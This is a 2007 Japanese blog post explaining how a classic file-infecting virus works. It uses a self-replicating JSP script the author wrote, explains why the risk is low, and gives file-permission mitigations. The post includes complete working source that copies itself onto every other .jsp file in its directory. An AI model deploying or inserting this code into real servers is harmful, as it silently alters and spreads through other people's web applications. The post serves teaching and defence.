セキュリティの話をしていて、ふと昔に作ったJSPウィルスを思い出したので掲載。
本稿では危険性は少ないものですが、コンピュータウィルスの仕組みについてコードを提示して解説しています。
これは原理を理解するための研究目的のものであり、決して悪用はしないでください。
コンピュータウィルスとは
コンピュータウィルスの定義は
第三者のプログラムやデータべースに対して意図的に何らかの被害を及ぼすように作られたプログラムであり、 次の機能を一つ以上有するもの。
(1)自己伝染機能
自らの機能によって他のプログラムに自らをコピーし又はシステム機能を利用して自らを他のシステムにコピーすることにより、 他のシステムに伝染する機能
(2)潜伏機能
発病するための特定時刻、一定時間、処理回数等の条件を記憶させて、発病するまで症状を出さない機能
(3)発病機能
プログラム、データ等のファイルの破壊を行ったり、設計者の意図しない動作をする等の機能
とされています。(引用元)
ですから、自己複製し感染するコードを記述すると定義上はコンピュータウィルスとされるわけです。
本稿では研究目的に感染機能をJSP上で実現してみました。
<%//Virus code
{
// 繁殖元となるファイルからウィルス部分のコードを読み込む
String uri = request.getRequestURI();
String contextPath = request.getContextPath();
String path = uri.substring(contextPath.length());
String realpath = pageContext.getServletContext().getRealPath(path);
java.io.File file = new java.io.File(realpath);
java.io.FileInputStream fis = new java.io.FileInputStream(file);
java.io.InputStreamReader isr = new java.io.InputStreamReader(fis);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
String line = null;
boolean virusBodyFlag = false;
StringBuilder virusCode = new StringBuilder();
while((line = br.readLine()) != null) {
if (line.equals("<%//Virus code")) {
virusBodyFlag = true;
}
if (virusBodyFlag) {
virusCode.append(line);
virusCode.append("\r\n");
}
}
// 感染先を探す
java.io.File parent = file.getParentFile();
java.io.File[] targets = parent.listFiles(new java.io.FileFilter() {
public boolean accept(java.io.File file) {
return file.getName().endsWith(".jsp");
}
});
byte[] virusCodeByteArray = virusCode.toString().getBytes();
for (java.io.File target : targets) {
java.io.FileOutputStream fos = new java.io.FileOutputStream(target, true);
fos.write(virusCodeByteArray);
fos.close();
}
}
%>
コード解説
JSPの末尾に掲載コードを付加し、該当JSPをブラウザ上で起動させると、サーバ上の該当JSPから、周囲にあるほかのJSPに感染します。
コードは大きく2箇所に分かれており、前半部分はウィルスコード自身をJSPファイルから読み込む処理です。
JSPのソースファイルを開き、ウィルス部分の先頭の"<%//Virus code"という1行を探し出します。この行より後ろがウィルスのコードという扱い。
後半部分では感染先となるJSPファイルを探し出し、末尾に先に読み込んだコードを追記します。 JSPの場合、ファイルが更新されていればブラウザからのリクエストがあった時点でコンパイルが自動で行われるため、このようにソースから末尾にコードを複写するだけで感染を行うコンピュータウィルスを作ることができてしまいます。
マシン語を用いてこのような感染機構を作ると世間を騒がせている、あのコンピュータウィルスとなります。ワーム、トロイの木馬ではない古典的なコンピュータウィルスの感染の仕組みはおおむね上記のような代物です。
そのため、感染するとexeのファイルサイズがウィルスコード分だけ大きくなりますし、このウィルスのコード部分をパターンマッチングすることでウィルス検出をすることができます。
また、「未知のウィルスでも検出できる~」と謳っているウィルス検出ソフトは、このような古典的ウィルスの特徴である、実行のためのフック処理やコピー処理といった特徴を捉えてウィルスであるという嫌疑をかけるようなもののようです。
近年では実行により実行ファイルから実行ファイルへと感染する、古典的なコンピュータウィルスは少なくなりました。ワームやトロイの木馬といったものが主流となっていますね。
このコンピュータウィルスの危険性
本ウィルスは研究用に作ったものですが、実際には悪用は困難です。
基本的にはサーバ内感染しか行えませんし、 Servlet-JSP連携を行っている場合はURLによって直接起動できないWEB-INF内にJSPを配置することが普通です。むき出しのJSPを使用しており、かつ実行可能な場所にJSPを配備できる穴が開いていることが条件となります。
そして、そのような条件化ではそもそもこんなウィルスを作るまでもなく、好きなコードを実行させられるわけですから自己増殖させる必然性はまったくありません。そういう点でこのウィルスは非常にナンセンスな代物で、自己複製の挙動を示すだけの研究的なものにすぎません。
なお、このようなコードに対してのセキュリティ上の対策としては、Tomcatの実行ユーザにJSPなどのコンテンツを配備してあるフォルダに対して変更権限を与えないことで封殺することが出来ます。
なぜJSPでコンピュータウィルスを作ったかというと、コンセプト的な部分が大きい。 JSPは実行時にコンパイルされるわけですが、その仕組み上、このようなウィルスが作れてしまうことに気づきました。実際には危険性は少なく、ファイルのアクセス権の調整で対処できますし、先に述べたとおりナンセンスな代物です。
しかし、実際に感染を行うわけですから、これはコンピュータウィルスの定義に合致している。セキュリティを議論する上でもこのようなことが可能であるということを指摘することに意義があると思ったので今回公開することにしてみました。
ところで、通常の実行ファイル間を感染するコンピュータウィルスの場合、マシン語での解説が必要となるのに対し、ほぼ同様の原理で感染するJSPウィルスは高級言語による記述で原理の解説が非常に行いやすい。
つまるところ、実行時に自身のコピーを他のファイルに配布する仕掛けなのですが、スクリプト言語 (JSPは違いますがここではコンパイル不要である点に注視して一緒に扱います)の場合はコンパイルを行う必要がない。そのため、テキストレベルでソースを読み込み、コピーすることで比較的容易に感染力を持つコードを記述できる。
それでもスクリプト言語の場合は自身のコードの所在地を知ることが困難な場合も多いでしょうから、実際には感染させる原本を読み込む部分に相応の工夫が必要になるわけです。しかし、JSPはそれも容易であるため作成上の困難が非常に少ない。
マシン語の場合はコードを実行させるために先頭でフックして末尾のウィルス本体のコードを実行してから元の場所に戻って本来のexeのコードの処理を行うような機構を組み込む必要がありますが、スクリプト言語で終了時に処理するという手法であれば、そのような複雑なコード書き換えも不要です。
これらのことからJSPでは容易に自己複製コードを書くことがでる、というわけなのです。
投稿日時 : 2007年10月17日 0:09